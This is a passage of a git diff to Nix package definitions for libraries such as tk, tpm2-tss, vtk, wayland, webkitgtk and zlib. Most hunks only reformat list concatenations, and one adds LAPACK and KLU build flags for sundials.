+        assert (blas.isILP64 == lapack.isILP64);
+        [
+          blas
+          lapack
+        ]
       )
-    ];
+  # KLU support is based on Suitesparse. It is tested upstream according to the
+  # section 1.1.4.2 of INSTALL_GUIDE.pdf found in the source tarball.
+  ++ lib.optionals (kluSupport) [
+    suitesparse
+  ];
+
+  cmakeFlags = [
+    "-DEXAMPLES_INSTALL_PATH=${placeholder "examples"}/share/examples"
+  ]
+  ++ lib.optionals (lapackSupport) [
+    "-DENABLE_LAPACK=ON"
+    "-DLAPACK_LIBRARIES=${lapack}/lib/liblapack${stdenv.hostPlatform.extensions.sharedLibrary}"
+  ]
+  ++ lib.optionals (kluSupport) [
+    "-DENABLE_KLU=ON"
+    "-DKLU_INCLUDE_DIR=${suitesparse.dev}/include"
+    "-DKLU_LIBRARY_DIR=${suitesparse}/lib"
+  ]
+  ++ [
+    (
+      # Use the correct index type according to lapack and blas used. They are
+      # already supposed to be compatible but we check both for extra safety. 64
+      # should be the default but we prefer to be explicit, for extra safety.
+      if blas.isILP64 then "-DSUNDIALS_INDEX_SIZE=64" else "-DSUNDIALS_INDEX_SIZE=32"
+    )
+  ];
 
   doCheck = true;
   checkTarget = "test";
diff --git a/pkgs/development/libraries/tinyxml/2.6.2.nix b/pkgs/development/libraries/tinyxml/2.6.2.nix
index f70142b6b2d4..1d91b57e262c 100644
--- a/pkgs/development/libraries/tinyxml/2.6.2.nix
+++ b/pkgs/development/libraries/tinyxml/2.6.2.nix
@@ -71,24 +71,23 @@ stdenv.mkDerivation {
     fi
   '';
 
-  installPhase =
-    ''
-      mkdir -pv $out/include/
-      mkdir -pv $out/lib/pkgconfig/
-      mkdir -pv $out/share/doc/tinyxml/
+  installPhase = ''
+    mkdir -pv $out/include/
+    mkdir -pv $out/lib/pkgconfig/
+    mkdir -pv $out/share/doc/tinyxml/
 
-      cp -v libtinyxml${SHLIB_EXT} $out/lib/
-      cp -v *.h $out/include/
+    cp -v libtinyxml${SHLIB_EXT} $out/lib/
+    cp -v *.h $out/include/
 
-      substituteInPlace tinyxml.pc --replace "@out@" "$out"
-      substituteInPlace tinyxml.pc --replace "@version@" "${version}"
-      cp -v tinyxml.pc $out/lib/pkgconfig/
+    substituteInPlace tinyxml.pc --replace "@out@" "$out"
+    substituteInPlace tinyxml.pc --replace "@version@" "${version}"
+    cp -v tinyxml.pc $out/lib/pkgconfig/
 
-      cp -v docs/* $out/share/doc/tinyxml/
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      install_name_tool -id $out/lib/libtinyxml.dylib $out/lib/libtinyxml.dylib
-    '';
+    cp -v docs/* $out/share/doc/tinyxml/
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    install_name_tool -id $out/lib/libtinyxml.dylib $out/lib/libtinyxml.dylib
+  '';
 
   meta = {
     description = "Simple, small, C++ XML parser that can be easily integrating into other programs";
diff --git a/pkgs/development/libraries/tk/generic.nix b/pkgs/development/libraries/tk/generic.nix
index 5a010c7b12bd..3fa3bf1285e8 100644
--- a/pkgs/development/libraries/tk/generic.nix
+++ b/pkgs/development/libraries/tk/generic.nix
@@ -52,31 +52,29 @@ tcl.mkTclDerivation {
       cp ../macosx/*.h $out/include
     '';
 
-  configureFlags =
-    [
-      "--enable-threads"
-    ]
-    ++ lib.optional stdenv.hostPlatform.is64bit "--enable-64bit"
-    ++ lib.optional enableAqua "--enable-aqua"
-    ++
-      lib.optional (lib.versionAtLeast tcl.version "9.0")
-        # By default, tk libraries get zipped and embedded into libtcl9tk*.so,
-        # which gets `zipfs mount`ed at runtime. This is fragile (for example
-        # stripping the .so removes the zip trailer), so we install them as
-        # traditional files.
-        # This might make tcl slower to start from slower storage on cold cache,
-        # however according to my benchmarks on fast storage and warm cache
-        # tcl built with --disable-zipfs actually starts in half the time.
-        "--disable-zipfs";
+  configureFlags = [
+    "--enable-threads"
+  ]
+  ++ lib.optional stdenv.hostPlatform.is64bit "--enable-64bit"
+  ++ lib.optional enableAqua "--enable-aqua"
+  ++
+    lib.optional (lib.versionAtLeast tcl.version "9.0")
+      # By default, tk libraries get zipped and embedded into libtcl9tk*.so,
+      # which gets `zipfs mount`ed at runtime. This is fragile (for example
+      # stripping the .so removes the zip trailer), so we install them as
+      # traditional files.
+      # This might make tcl slower to start from slower storage on cold cache,
+      # however according to my benchmarks on fast storage and warm cache
+      # tcl built with --disable-zipfs actually starts in half the time.
+      "--disable-zipfs";
 
-  nativeBuildInputs =
-    [
-      pkg-config
-    ]
-    ++ lib.optionals (lib.versionAtLeast tcl.version "9.0") [
-      # Only used to detect the presence of zlib. Could be replaced with a stub.
-      zip
-    ];
+  nativeBuildInputs = [
+    pkg-config
+  ]
+  ++ lib.optionals (lib.versionAtLeast tcl.version "9.0") [
+    # Only used to detect the presence of zlib. Could be replaced with a stub.
+    zip
+  ];
   buildInputs = lib.optionals (lib.versionAtLeast tcl.version "9.0") [
     zlib
   ];
diff --git a/pkgs/development/libraries/tpm2-tss/default.nix b/pkgs/development/libraries/tpm2-tss/default.nix
index 1aa8f6344f59..9b65060e25af 100644
--- a/pkgs/development/libraries/tpm2-tss/default.nix
+++ b/pkgs/development/libraries/tpm2-tss/default.nix
@@ -54,21 +54,20 @@ stdenv.mkDerivation rec {
     perl
   ];
 
-  buildInputs =
-    [
-      openssl
-      json_c
-      curl
-      libgcrypt
-      uthash
-      libuuid
-      libtpms
-    ]
-    # cmocka is checked in the configure script
-    # when unit and/or integration testing is enabled
-    # cmocka doesn't build with pkgsStatic, and we don't need it anyway
-    # when tests are not run
-    ++ lib.optional doInstallCheck cmocka;
+  buildInputs = [
+    openssl
+    json_c
+    curl
+    libgcrypt
+    uthash
+    libuuid
+    libtpms
+  ]
+  # cmocka is checked in the configure script
+  # when unit and/or integration testing is enabled
+  # cmocka doesn't build with pkgsStatic, and we don't need it anyway
+  # when tests are not run
+  ++ lib.optional doInstallCheck cmocka;
 
   nativeInstallCheckInputs = lib.optionals doInstallCheck [
     cmocka
@@ -101,30 +100,29 @@ stdenv.mkDerivation rec {
     ./no-shadow.patch
   ];
 
-  postPatch =
-    ''
-      patchShebangs script
-      substituteInPlace src/tss2-tcti/tctildr-dl.c \
-        --replace-fail '@PREFIX@' $out/lib/
-      substituteInPlace ./test/unit/tctildr-dl.c \
-        --replace-fail '@PREFIX@' $out/lib/
-      substituteInPlace ./bootstrap \
-        --replace-fail 'git describe --tags --always --dirty' 'echo "${version}"'
-      for src in src/tss2-tcti/tcti-libtpms.c test/unit/tcti-libtpms.c; do
-        substituteInPlace "$src" \
-          --replace-fail '"libtpms.so"' '"${libtpms.out}/lib/libtpms.so"' \
-          --replace-fail '"libtpms.so.0"' '"${libtpms.out}/lib/libtpms.so.0"'
-      done
-    ''
-    # tcti tests rely on mocking function calls, which appears not to be supported
-    # on clang
-    + lib.optionalString stdenv.cc.isClang ''
-      sed -i '/TESTS_UNIT / {
-        /test\/unit\/tcti-swtpm/d;
-        /test\/unit\/tcti-mssim/d;
-        /test\/unit\/tcti-device/d
-      }' Makefile-test.am
-    '';
+  postPatch = ''
+    patchShebangs script
+    substituteInPlace src/tss2-tcti/tctildr-dl.c \
+      --replace-fail '@PREFIX@' $out/lib/
+    substituteInPlace ./test/unit/tctildr-dl.c \
+      --replace-fail '@PREFIX@' $out/lib/
+    substituteInPlace ./bootstrap \
+      --replace-fail 'git describe --tags --always --dirty' 'echo "${version}"'
+    for src in src/tss2-tcti/tcti-libtpms.c test/unit/tcti-libtpms.c; do
+      substituteInPlace "$src" \
+        --replace-fail '"libtpms.so"' '"${libtpms.out}/lib/libtpms.so"' \
+        --replace-fail '"libtpms.so.0"' '"${libtpms.out}/lib/libtpms.so.0"'
+    done
+  ''
+  # tcti tests rely on mocking function calls, which appears not to be supported
+  # on clang
+  + lib.optionalString stdenv.cc.isClang ''
+    sed -i '/TESTS_UNIT / {
+      /test\/unit\/tcti-swtpm/d;
+      /test\/unit\/tcti-mssim/d;
+      /test\/unit\/tcti-device/d
+    }' Makefile-test.am
+  '';
 
   configureFlags =
     lib.optionals doInstallCheck [
diff --git a/pkgs/development/libraries/unixODBCDrivers/default.nix b/pkgs/development/libraries/unixODBCDrivers/default.nix
index 38d0d8ff4f7f..69edb001df39 100644
--- a/pkgs/development/libraries/unixODBCDrivers/default.nix
+++ b/pkgs/development/libraries/unixODBCDrivers/default.nix
@@ -65,7 +65,8 @@
       openssl
       libiconv
       zlib
-    ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ libkrb5 ];
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [ libkrb5 ];
 
     cmakeFlags = [
       "-DWITH_EXTERNAL_ZLIB=ON"
diff --git a/pkgs/development/libraries/vigra/default.nix b/pkgs/development/libraries/vigra/default.nix
index 822865f8866e..7f9780da1aef 100644
--- a/pkgs/development/libraries/vigra/default.nix
+++ b/pkgs/development/libraries/vigra/default.nix
@@ -52,15 +52,14 @@ stdenv.mkDerivation (finalAttrs: {
     patchShebangs --build config/run_test.sh.in
   '';
 
-  cmakeFlags =
-    [
-      "-DWITH_OPENEXR=1"
-      "-DVIGRANUMPY_INSTALL_DIR=${placeholder "out"}/${python.sitePackages}"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.system == "x86_64-linux") [
-      "-DCMAKE_CXX_FLAGS=-fPIC"
-      "-DCMAKE_C_FLAGS=-fPIC"
-    ];
+  cmakeFlags = [
+    "-DWITH_OPENEXR=1"
+    "-DVIGRANUMPY_INSTALL_DIR=${placeholder "out"}/${python.sitePackages}"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.system == "x86_64-linux") [
+    "-DCMAKE_CXX_FLAGS=-fPIC"
+    "-DCMAKE_C_FLAGS=-fPIC"
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/development/libraries/vtk/generic.nix b/pkgs/development/libraries/vtk/generic.nix
index 60b7ae238b83..02f3606f63cd 100644
--- a/pkgs/development/libraries/vtk/generic.nix
+++ b/pkgs/development/libraries/vtk/generic.nix
@@ -45,26 +45,25 @@ stdenv.mkDerivation {
 
   nativeBuildInputs = [ cmake ];
 
-  buildInputs =
-    [
-      libpng
-      libtiff
-    ]
-    ++ optionals enableQt [
-      (qtEnv "qvtk-qt-env" [
-        qtx11extras
-        qttools
-        qtdeclarative
-      ])
-    ]
-    ++ optionals stdenv.hostPlatform.isLinux [
-      libGLU
-      xorgproto
-      libXt
-    ]
-    ++ optionals enablePython [
-      python
-    ];
+  buildInputs = [
+    libpng
+    libtiff
+  ]
+  ++ optionals enableQt [
+    (qtEnv "qvtk-qt-env" [
+      qtx11extras
+      qttools
+      qtdeclarative
+    ])
+  ]
+  ++ optionals stdenv.hostPlatform.isLinux [
+    libGLU
+    xorgproto
+    libXt
+  ]
+  ++ optionals enablePython [
+    python
+  ];
   propagatedBuildInputs = optionals stdenv.hostPlatform.isLinux [
     libX11
     libGL
@@ -74,17 +73,16 @@ stdenv.mkDerivation {
   patches = map fetchpatch patchesToFetch;
 
   # GCC 13: error: 'int64_t' in namespace 'std' does not name a type
-  postPatch =
-    ''
-      sed '1i#include <cstdint>' \
-        -i ThirdParty/libproj/vtklibproj/src/proj_json_streaming_writer.hpp \
-        -i IO/Image/vtkSEPReader.h
-    ''
-    + optionalString stdenv.hostPlatform.isDarwin ''
-      sed -i 's|COMMAND vtkHashSource|COMMAND "DYLD_LIBRARY_PATH=''${VTK_BINARY_DIR}/lib" ''${VTK_BINARY_DIR}/bin/vtkHashSource-${majorVersion}|' ./Parallel/Core/CMakeLists.txt
-      sed -i 's/fprintf(output, shift)/fprintf(output, "%s", shift)/' ./ThirdParty/libxml2/vtklibxml2/xmlschemas.c
-      sed -i 's/fprintf(output, shift)/fprintf(output, "%s", shift)/g' ./ThirdParty/libxml2/vtklibxml2/xpath.c
-    '';
+  postPatch = ''
+    sed '1i#include <cstdint>' \
+      -i ThirdParty/libproj/vtklibproj/src/proj_json_streaming_writer.hpp \
+      -i IO/Image/vtkSEPReader.h
+  ''
+  + optionalString stdenv.hostPlatform.isDarwin ''
+    sed -i 's|COMMAND vtkHashSource|COMMAND "DYLD_LIBRARY_PATH=''${VTK_BINARY_DIR}/lib" ''${VTK_BINARY_DIR}/bin/vtkHashSource-${majorVersion}|' ./Parallel/Core/CMakeLists.txt
+    sed -i 's/fprintf(output, shift)/fprintf(output, "%s", shift)/' ./ThirdParty/libxml2/vtklibxml2/xmlschemas.c
+    sed -i 's/fprintf(output, shift)/fprintf(output, "%s", shift)/g' ./ThirdParty/libxml2/vtklibxml2/xpath.c
+  '';
 
   dontWrapQtApps = true;
 
@@ -93,31 +91,30 @@ stdenv.mkDerivation {
   # built and requiring one of the shared objects.
   # At least, we use -fPIC for other packages to be able to use this in shared
   # objects.
-  cmakeFlags =
-    [
-      "-DCMAKE_C_FLAGS=-fPIC"
-      "-DCMAKE_CXX_FLAGS=-fPIC"
-      "-DVTK_MODULE_USE_EXTERNAL_vtkpng=ON"
-      "-DVTK_MODULE_USE_EXTERNAL_vtktiff=1"
-      "-DVTK_MODULE_ENABLE_VTK_RenderingExternal=YES"
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      "-DOPENGL_INCLUDE_DIR=${lib.getInclude libGL}/include"
-      (lib.cmakeBool "VTK_OPENGL_HAS_EGL" enableEgl)
-    ]
-    ++ [
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-      "-DCMAKE_INSTALL_INCLUDEDIR=include"
-      "-DCMAKE_INSTALL_BINDIR=bin"
-      "-DVTK_VERSIONED_INSTALL=OFF"
-    ]
-    ++ optionals enableQt [
-      "-DVTK_GROUP_ENABLE_Qt:STRING=YES"
-    ]
-    ++ optionals enablePython [
-      "-DVTK_WRAP_PYTHON:BOOL=ON"
-      "-DVTK_PYTHON_VERSION:STRING=${pythonMajor}"
-    ];
+  cmakeFlags = [
+    "-DCMAKE_C_FLAGS=-fPIC"
+    "-DCMAKE_CXX_FLAGS=-fPIC"
+    "-DVTK_MODULE_USE_EXTERNAL_vtkpng=ON"
+    "-DVTK_MODULE_USE_EXTERNAL_vtktiff=1"
+    "-DVTK_MODULE_ENABLE_VTK_RenderingExternal=YES"
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    "-DOPENGL_INCLUDE_DIR=${lib.getInclude libGL}/include"
+    (lib.cmakeBool "VTK_OPENGL_HAS_EGL" enableEgl)
+  ]
+  ++ [
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+    "-DCMAKE_INSTALL_INCLUDEDIR=include"
+    "-DCMAKE_INSTALL_BINDIR=bin"
+    "-DVTK_VERSIONED_INSTALL=OFF"
+  ]
+  ++ optionals enableQt [
+    "-DVTK_GROUP_ENABLE_Qt:STRING=YES"
+  ]
+  ++ optionals enablePython [
+    "-DVTK_WRAP_PYTHON:BOOL=ON"
+    "-DVTK_PYTHON_VERSION:STRING=${pythonMajor}"
+  ];
 
   env = {
     # Lots of warnings in vendored code…
diff --git a/pkgs/development/libraries/wayland/default.nix b/pkgs/development/libraries/wayland/default.nix
index 388184f03da0..ce4cd59694a3 100644
--- a/pkgs/development/libraries/wayland/default.nix
+++ b/pkgs/development/libraries/wayland/default.nix
@@ -46,15 +46,14 @@ stdenv.mkDerivation (finalAttrs: {
       sed -i '/os-wrappers-test/d' tests/meson.build
     '';
 
-  outputs =
-    [
-      "out"
-      "dev"
-    ]
-    ++ lib.optionals withDocumentation [
-      "doc"
-      "man"
-    ];
+  outputs = [
+    "out"
+    "dev"
+  ]
+  ++ lib.optionals withDocumentation [
+    "doc"
+    "man"
+  ];
   separateDebugInfo = true;
 
   mesonFlags = [
@@ -67,35 +66,33 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      pkg-config
-      ninja
-      wayland-scanner
-    ]
-    ++ lib.optionals withDocumentation [
-      (graphviz-nox.override { pango = null; }) # To avoid an infinite recursion
-      doxygen
-      libxslt
-      xmlto
-      python3
-      docbook_xml_dtd_45
-      docbook_xsl
-    ];
+  nativeBuildInputs = [
+    meson
+    pkg-config
+    ninja
+    wayland-scanner
+  ]
+  ++ lib.optionals withDocumentation [
+    (graphviz-nox.override { pango = null; }) # To avoid an infinite recursion
+    doxygen
+    libxslt
+    xmlto
+    python3
+    docbook_xml_dtd_45
+    docbook_xsl
+  ];
 
-  buildInputs =
-    [
-      libffi
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isLinux) [
-      epoll-shim
-    ]
-    ++ lib.optionals withDocumentation [
-      docbook_xsl
-      docbook_xml_dtd_45
-      docbook_xml_dtd_42
-    ];
+  buildInputs = [
+    libffi
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isLinux) [
+    epoll-shim
+  ]
+  ++ lib.optionals withDocumentation [
+    docbook_xsl
+    docbook_xml_dtd_45
+    docbook_xml_dtd_42
+  ];
 
   passthru = {
     tests.pkg-config = testers.hasPkgConfigModules {
diff --git a/pkgs/development/libraries/wayland/scanner.nix b/pkgs/development/libraries/wayland/scanner.nix
index d826901d01e6..55366ac5c16c 100644
--- a/pkgs/development/libraries/wayland/scanner.nix
+++ b/pkgs/development/libraries/wayland/scanner.nix
@@ -33,7 +33,8 @@ stdenv.mkDerivation {
     meson
     pkg-config
     ninja
-  ] ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) wayland-scanner;
+  ]
+  ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) wayland-scanner;
 
   buildInputs = [
     expat
diff --git a/pkgs/development/libraries/waylandpp/default.nix b/pkgs/development/libraries/waylandpp/default.nix
index fbb0d0dad266..002ae979eccf 100644
--- a/pkgs/development/libraries/waylandpp/default.nix
+++ b/pkgs/development/libraries/waylandpp/default.nix
@@ -39,28 +39,26 @@ stdenv.mkDerivation rec {
     })
   ];
 
-  cmakeFlags =
-    [
-      "-DCMAKE_INSTALL_DATADIR=${placeholder "dev"}"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      "-DWAYLAND_SCANNERPP=${buildPackages.waylandpp}/bin/wayland-scanner++"
-    ];
+  cmakeFlags = [
+    "-DCMAKE_INSTALL_DATADIR=${placeholder "dev"}"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    "-DWAYLAND_SCANNERPP=${buildPackages.waylandpp}/bin/wayland-scanner++"
+  ];
 
   # Complains about not being able to find the fontconfig config file otherwise
   FONTCONFIG_FILE = lib.optional docSupport (makeFontsConf {
     fontDirectories = [ ];
   });
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-    ]
-    ++ lib.optionals docSupport [
-      doxygen
-      graphviz
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+  ]
+  ++ lib.optionals docSupport [
+    doxygen
+    graphviz
+  ];
   buildInputs = [
     pugixml
     wayland
@@ -68,17 +66,16 @@ stdenv.mkDerivation rec {
     libffi
   ];
 
-  outputs =
-    [
-      "bin"
-      "dev"
-      "lib"
-      "out"
-    ]
-    ++ lib.optionals docSupport [
-      "doc"
-      "devman"
-    ];
+  outputs = [
+    "bin"
+    "dev"
+    "lib"
+    "out"
+  ]
+  ++ lib.optionals docSupport [
+    "doc"
+    "devman"
+  ];
 
   # Resolves the warning "Fontconfig error: No writable cache directories"
   preBuild = ''
diff --git a/pkgs/development/libraries/webkitgtk/default.nix b/pkgs/development/libraries/webkitgtk/default.nix
index cdba05f195ad..5638e03f187c 100644
--- a/pkgs/development/libraries/webkitgtk/default.nix
+++ b/pkgs/development/libraries/webkitgtk/default.nix
@@ -110,94 +110,92 @@ clangStdenv.mkDerivation (finalAttrs: {
     })
   ];
 
-  nativeBuildInputs =
-    [
-      bison
-      cmake
-      gettext
-      gobject-introspection
-      gperf
-      ninja
-      perl
-      perl.pkgs.FileCopyRecursive # used by copy-user-interface-resources.pl
-      pkg-config
-      python3
-      ruby
-      gi-docgen
-      glib # for gdbus-codegen
-      unifdef
-    ]
-    ++ lib.optionals clangStdenv.hostPlatform.isLinux [
-      wayland-scanner
-    ];
+  nativeBuildInputs = [
+    bison
+    cmake
+    gettext
+    gobject-introspection
+    gperf
+    ninja
+    perl
+    perl.pkgs.FileCopyRecursive # used by copy-user-interface-resources.pl
+    pkg-config
+    python3
+    ruby
+    gi-docgen
+    glib # for gdbus-codegen
+    unifdef
+  ]
+  ++ lib.optionals clangStdenv.hostPlatform.isLinux [
+    wayland-scanner
+  ];
 
-  buildInputs =
-    [
-      at-spi2-core
-      cairo # required even when using skia
-      enchant2
-      flite
-      libavif
-      libepoxy
-      libjxl
-      gnutls
-      gst-plugins-bad
-      gst-plugins-base
-      harfbuzz
-      hyphen
-      icu
-      libGL
-      libGLU
-      libgbm
-      libgcrypt
-      libgpg-error
-      libidn
-      libintl
-      lcms2
-      libpthreadstubs
-      libsysprof-capture
-      libtasn1
-      libwebp
-      libxkbcommon
-      libxml2
-      libxslt
-      libbacktrace
-      nettle
-      p11-kit
-      sqlite
-      woff2
-    ]
-    ++ lib.optionals clangStdenv.hostPlatform.isBigEndian [
-      # https://bugs.webkit.org/show_bug.cgi?id=274032
-      fontconfig
-      freetype
-    ]
-    ++ lib.optionals clangStdenv.hostPlatform.isDarwin [
-      libedit
-      readline
-    ]
-    ++ lib.optionals clangStdenv.hostPlatform.isLinux [
-      libseccomp
-      libmanette
-      wayland
-      xorg.libX11
-    ]
-    ++ lib.optionals systemdSupport [
-      systemd
-    ]
-    ++ lib.optionals enableGeoLocation [
-      geoclue2
-    ]
-    ++ lib.optionals enableExperimental [
-      # For ENABLE_WEB_RTC
-      openssl
-    ]
-    ++ lib.optionals withLibsecret [
-      libsecret
-    ]
-    ++ lib.optionals (lib.versionAtLeast gtk3.version "4.0") [
-      wayland-protocols
-    ];
+  buildInputs = [
+    at-spi2-core
+    cairo # required even when using skia
+    enchant2
+    flite
+    libavif
+    libepoxy
+    libjxl
+    gnutls
+    gst-plugins-bad
+    gst-plugins-base
+    harfbuzz
+    hyphen
+    icu
+    libGL
+    libGLU
+    libgbm
+    libgcrypt
+    libgpg-error
+    libidn
+    libintl
+    lcms2
+    libpthreadstubs
+    libsysprof-capture
+    libtasn1
+    libwebp
+    libxkbcommon
+    libxml2
+    libxslt
+    libbacktrace
+    nettle
+    p11-kit
+    sqlite
+    woff2
+  ]
+  ++ lib.optionals clangStdenv.hostPlatform.isBigEndian [
+    # https://bugs.webkit.org/show_bug.cgi?id=274032
+    fontconfig
+    freetype
+  ]
+  ++ lib.optionals clangStdenv.hostPlatform.isDarwin [
+    libedit
+    readline
+  ]
+  ++ lib.optionals clangStdenv.hostPlatform.isLinux [
+    libseccomp
+    libmanette
+    wayland
+    xorg.libX11
+  ]
+  ++ lib.optionals systemdSupport [
+    systemd
+  ]
+  ++ lib.optionals enableGeoLocation [
+    geoclue2
+  ]
+  ++ lib.optionals enableExperimental [
+    # For ENABLE_WEB_RTC
+    openssl
+  ]
+  ++ lib.optionals withLibsecret [
+    libsecret
+  ]
+  ++ lib.optionals (lib.versionAtLeast gtk3.version "4.0") [
+    wayland-protocols
+  ];
 
   propagatedBuildInputs = [
     gtk3
diff --git a/pkgs/development/libraries/wlroots/default.nix b/pkgs/development/libraries/wlroots/default.nix
index 22d444dd68fc..f22adc14b600 100644
--- a/pkgs/development/libraries/wlroots/default.nix
+++ b/pkgs/development/libraries/wlroots/default.nix
@@ -72,30 +72,30 @@ let
         wayland-scanner
         glslang
         hwdata
-      ] ++ extraNativeBuildInputs;
+      ]
+      ++ extraNativeBuildInputs;
 
-      buildInputs =
-        [
-          libliftoff
-          libdisplay-info
-          libGL
-          libcap
-          libinput
-          libxkbcommon
-          libgbm
-          pixman
-          seatd
-          vulkan-loader
-          wayland
-          wayland-protocols
-          xorg.libX11
-          xorg.xcbutilerrors
-          xorg.xcbutilimage
-          xorg.xcbutilrenderutil
-          xorg.xcbutilwm
-        ]
-        ++ lib.optional finalAttrs.enableXWayland xwayland
-        ++ extraBuildInputs;
+      buildInputs = [
+        libliftoff
+        libdisplay-info
+        libGL
+        libcap
+        libinput
+        libxkbcommon
+        libgbm
+        pixman
+        seatd
+        vulkan-loader
+        wayland
+        wayland-protocols
+        xorg.libX11
+        xorg.xcbutilerrors
+        xorg.xcbutilimage
+        xorg.xcbutilrenderutil
+        xorg.xcbutilwm
+      ]
+      ++ lib.optional finalAttrs.enableXWayland xwayland
+      ++ extraBuildInputs;
 
       mesonFlags = lib.optional (!finalAttrs.enableXWayland) "-Dxwayland=disabled";
 
diff --git a/pkgs/development/libraries/wt/default.nix b/pkgs/development/libraries/wt/default.nix
index 58fa61e9dd20..e88e45afdbf3 100644
--- a/pkgs/development/libraries/wt/default.nix
+++ b/pkgs/development/libraries/wt/default.nix
@@ -58,16 +58,15 @@ let
       ];
 
       dontWrapQtApps = true;
-      cmakeFlags =
-        [
-          "-DWT_CPP_11_MODE=-std=c++11"
-          "--no-warn-unused-cli"
-        ]
-        ++ lib.optionals (graphicsmagick != null) [
-          "-DWT_WRASTERIMAGE_IMPLEMENTATION=GraphicsMagick"
-          "-DGM_PREFIX=${graphicsmagick}"
-        ]
-        ++ lib.optional (libmysqlclient != null) "-DMYSQL_PREFIX=${libmysqlclient}";
+      cmakeFlags = [
+        "-DWT_CPP_11_MODE=-std=c++11"
+        "--no-warn-unused-cli"
+      ]
+      ++ lib.optionals (graphicsmagick != null) [
+        "-DWT_WRASTERIMAGE_IMPLEMENTATION=GraphicsMagick"
+        "-DGM_PREFIX=${graphicsmagick}"
+      ]
+      ++ lib.optional (libmysqlclient != null) "-DMYSQL_PREFIX=${libmysqlclient}";
 
       meta = with lib; {
         homepage = "https://www.webtoolkit.eu/wt";
diff --git a/pkgs/development/libraries/xapian/default.nix b/pkgs/development/libraries/xapian/default.nix
index cc6d0f9b21d4..a806db202fa3 100644
--- a/pkgs/development/libraries/xapian/default.nix
+++ b/pkgs/development/libraries/xapian/default.nix
@@ -42,13 +42,12 @@ let
 
       doCheck = true;
 
-      env =
-        {
-          AUTOMATED_TESTING = true; # https://trac.xapian.org/changeset/8be35f5e1/git
-        }
-        // lib.optionalAttrs stdenv.hostPlatform.is32bit {
-          NIX_CFLAGS_COMPILE = "-fpermissive";
-        };
+      env = {
+        AUTOMATED_TESTING = true; # https://trac.xapian.org/changeset/8be35f5e1/git
+      }
+      // lib.optionalAttrs stdenv.hostPlatform.is32bit {
+        NIX_CFLAGS_COMPILE = "-fpermissive";
+      };
 
       # the configure script thinks that Darwin has ___exp10
       # but it’s not available on my systems (or hydra apparently)
diff --git a/pkgs/development/libraries/xdg-desktop-portal/default.nix b/pkgs/development/libraries/xdg-desktop-portal/default.nix
index 4313ac5e84fc..e10756567ff0 100644
--- a/pkgs/development/libraries/xdg-desktop-portal/default.nix
+++ b/pkgs/development/libraries/xdg-desktop-portal/default.nix
@@ -81,29 +81,28 @@ stdenv.mkDerivation (finalAttrs: {
     wrapGAppsNoGuiHook
   ];
 
-  buildInputs =
-    [
-      flatpak
-      fuse3
-      bubblewrap
-      glib
-      gsettings-desktop-schemas
-      json-glib
-      pipewire
-      gst_all_1.gst-plugins-base
-      libgudev
+  buildInputs = [
+    flatpak
+    fuse3
+    bubblewrap
+    glib
+    gsettings-desktop-schemas
+    json-glib
+    pipewire
+    gst_all_1.gst-plugins-base
+    libgudev
 
-      # For icon validator
-      gdk-pixbuf
-      librsvg
-      bash
-    ]
-    ++ lib.optionals enableGeoLocation [
-      geoclue2
-    ]
-    ++ lib.optionals enableSystemd [
-      systemdMinimal # libsystemd
-    ];
+    # For icon validator
+    gdk-pixbuf
+    librsvg
+    bash
+  ]
+  ++ lib.optionals enableGeoLocation [
+    geoclue2
+  ]
+  ++ lib.optionals enableSystemd [
+    systemdMinimal # libsystemd
+  ];
 
   nativeCheckInputs = [
     dbus
@@ -126,20 +125,19 @@ stdenv.mkDerivation (finalAttrs: {
 
   checkInputs = [ umockdev ];
 
-  mesonFlags =
-    [
-      "--sysconfdir=/etc"
-      "-Dinstalled-tests=true"
-      "-Dinstalled_test_prefix=${placeholder "installedTests"}"
-      "-Ddocumentation=disabled" # pulls in a whole lot of extra stuff
-      (lib.mesonEnable "systemd" enableSystemd)
-    ]
-    ++ lib.optionals (!enableGeoLocation) [
-      "-Dgeoclue=disabled"
-    ]
-    ++ lib.optionals (!finalAttrs.finalPackage.doCheck) [
-      "-Dtests=disabled"
-    ];
+  mesonFlags = [
+    "--sysconfdir=/etc"
+    "-Dinstalled-tests=true"
+    "-Dinstalled_test_prefix=${placeholder "installedTests"}"
+    "-Ddocumentation=disabled" # pulls in a whole lot of extra stuff
+    (lib.mesonEnable "systemd" enableSystemd)
+  ]
+  ++ lib.optionals (!enableGeoLocation) [
+    "-Dgeoclue=disabled"
+  ]
+  ++ lib.optionals (!finalAttrs.finalPackage.doCheck) [
+    "-Dtests=disabled"
+  ];
 
   strictDeps = true;
 
diff --git a/pkgs/development/libraries/zlib/default.nix b/pkgs/development/libraries/zlib/default.nix
index e67d91224678..c0aafbb9fbc1 100644
--- a/pkgs/development/libraries/zlib/default.nix
+++ b/pkgs/development/libraries/zlib/default.nix
@@ -54,7 +54,8 @@ stdenv.mkDerivation (finalAttrs: {
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optional splitStaticOutput "static";
+  ]
+  ++ lib.optional splitStaticOutput "static";
   setOutputFlags = false;
   outputDoc = "dev"; # single tiny man3 page
 
@@ -134,19 +135,18 @@ stdenv.mkDerivation (finalAttrs: {
   enableParallelBuilding = true;
   doCheck = true;
 
-  makeFlags =
-    [
-      "PREFIX=${stdenv.cc.targetPrefix}"
-    ]
